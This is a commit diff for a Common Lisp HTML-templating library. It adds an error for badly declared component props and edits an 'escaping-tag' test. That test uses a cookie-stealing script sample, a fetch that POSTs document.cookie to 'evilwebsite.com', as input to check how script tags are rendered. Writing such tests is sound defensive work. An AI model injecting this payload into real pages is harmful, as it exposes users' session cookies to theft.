Add error for invalid props declaration.
This commit is contained in:
parent
a6bfe77c1f
commit
bce01c3c42
2 changed files with 6 additions and 5 deletions
|
@ -37,6 +37,10 @@
|
|||
(defhsx ,name ,(make-keyword name))))
|
||||
|
||||
(defmacro defcomp (name props &body body)
|
||||
(unless (or (null props)
|
||||
(member '&key props)
|
||||
(member '&rest props))
|
||||
(error "Component properties must be declared with either &key, &rest, or both."))
|
||||
(let ((%name (symbolicate '% name)))
|
||||
`(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(defun ,%name ,props
|
||||
|
|
|
@ -64,12 +64,9 @@
|
|||
:pretty t))))
|
||||
|
||||
(test escaping-tag
|
||||
(is (string= #M"<div>
|
||||
\ <script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script>
|
||||
\</div>"
|
||||
(is (string= "<div><script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script></div>"
|
||||
(render-to-string
|
||||
(div "<script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script>" )
|
||||
:pretty t))))
|
||||
(div "<script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script>")))))
|
||||
|
||||
(test non-escaping-tag
|
||||
(is (string= "<script>alert('<< Do not embed user-generated contents here! >>')</script>"
|
||||
|
|
Loading…
Reference in a new issue